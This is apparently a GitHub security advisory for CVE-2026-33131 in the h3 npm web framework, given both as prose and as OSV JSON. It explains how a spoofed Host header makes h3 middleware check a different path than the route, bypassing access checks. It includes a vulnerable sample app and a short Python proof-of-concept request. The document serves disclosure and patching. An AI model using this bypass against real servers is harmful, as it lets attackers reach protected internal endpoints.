GHSA-3VJ8-JMXQ-CGJ5

Vulnerability from github – Published: 2026-03-18 16:18 – Updated: 2026-03-20 21:28
VLAI?
Summary
h3 has a middleware bypass with one gadget
Details

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()

const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");

  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }

  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);


app.get("/internal/run", () => {
  return "Internal OK";
});

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "h3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-0"
            },
            {
              "fixed": "2.0.1-rc.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T16:18:12Z",
    "nvd_published_at": "2026-03-20T11:18:02Z",
    "severity": "HIGH"
  },
  "details": "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n  const token = event.headers.get(\"x-internal-key\");\n\n  if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n    return new Response(\"Forbidden\", { status: 403 });\n  }\n\n  return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n    console.log(\"Logging : \" +  event.url.hostname)\n    return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n  return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there\u0027s one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n    if (this.#url) return this.#url;\n    this.#url = new NativeURL(this.href);\n    this.#href = void 0;\n    this.#protocol = void 0;\n    this.#host = void 0;\n    this.#pathname = void 0;\n    this.#search = void 0;\n    this.#searchParams = void 0;\n    this.#pos = void 0;\n    return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this  code  : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n    if (this.#url) return this.#url.href;\n    if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n    return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n    const route = this[\"~findRoute\"](event);\n    if (route) {\n        event.context.params = route.params;\n        event.context.matchedRoute = route.data;\n    }\n    const routeHandler = route?.data.handler || NoHandler;\n    const middleware = this[\"~getMiddleware\"](event, route);\n    return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n    \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.",
  "id": "GHSA-3vj8-jmxq-cgj5",
  "modified": "2026-03-20T21:28:00Z",
  "published": "2026-03-18T16:18:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33131"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h3js/h3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "h3 has a middleware bypass with one gadget"
}


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